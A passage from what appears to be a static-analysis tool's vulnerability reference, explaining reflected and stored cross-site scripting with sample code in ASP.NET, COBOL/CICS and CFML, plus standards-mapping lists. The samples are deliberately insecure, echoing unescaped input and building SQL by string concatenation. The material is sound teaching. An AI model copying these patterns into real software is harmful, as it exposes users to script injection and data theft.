<script runat="server">
...
EmployeeID.Text = Login.Text;
...
</script>


Where Login and EmployeeID are form controls defined as follows:


<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
Example 2: The following ASP.NET code segment shows the programmatic way to implement Example 1.

protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;


The code in these examples operates correctly if Login contains only standard alphanumeric text. If Login has a value that includes metacharacters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks in order to lure victims into clicking a link. When the victims click the link, they unwittingly reflect the malicious content through the vulnerable web application and back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 3: The following ASP.NET Web Form queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

<script runat="server">
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
</script>


Where EmployeeName is a form control defined as follows:


<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
Example 4: The following ASP.NET code segment is functionally equivalent to Example 3, but implements all of the form elements programmatically.

protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;


As in Example 1 and Example 2, these code examples function correctly when the values of name are well-behaved, but they nothing to prevent exploits if the values are not. Again, these can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1 and Example 2, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 3 and Example 4, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

A number of modern web frameworks provide mechanisms to perform user input validation (including ASP.NET Request Validation and WCF). To highlight the unvalidated sources of input, Fortify Secure Coding Rulepacks dynamically re-prioritize the issues Fortify Static Code Analyzer reports by lowering their probability of exploit and providing pointers to the supporting evidence whenever the framework validation mechanism is in use. With ASP.NET Request Validation, we also provide evidence for when validation is explicitly disabled. We refer to this feature as Context-Sensitive Ranking. To further assist the Fortify user with the auditing process, the Fortify Software Security Research group makes available the Data Validation project template that groups the issues into folders based on the validation mechanism applied to their source of input.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Anti-Cross Site Scripting Library MSDN
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[64] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.dotnet.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.

2. The data is included in dynamic content that is sent to a web browser without being validated.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following code segment reads an employee ID, EID, from an HTML form and displays it to the user.


...
EXEC CICS
WEB READ
FORMFIELD(ID)
VALUE(EID)
...
END-EXEC.

EXEC CICS
WEB SEND
FROM(EID)
...
END-EXEC.
...


The code in this example operates correctly if EID contains only standard alphanumeric text. If EID has a value that includes metacharacters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


...
EXEC SQL
SELECT NAME
INTO :ENAME
FROM EMPLOYEE
WHERE ID = :EID
END-EXEC.

EXEC CICS
WEB SEND
FROM(ENAME)
...
END-EXEC.
...


As in Example 1, this code functions correctly when the values of ENAME are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of ENAME is read from a database, whose contents are apparently managed by the application. However, if the value of ENAME originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTML Form and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker might perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.cobol.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following CFML code segment reads an employee ID, eid, from a web form and displays it to the user.


<cfoutput>
Employee ID: #Form.eid#
</cfoutput>


The code in this example operates correctly if Form.eid contains only standard alphanumeric text. If Form.eid has a value that includes metacharacters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following CFML code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

 
<cfquery name="matchingEmployees" datasource="cfsnippets">
SELECT name
FROM Employees
WHERE eid = '#Form.eid#'
</cfquery>
<cfoutput>
Employee Name: #name#
</cfoutput>


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] ColdFusion Developer Center: Security Macromedia
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
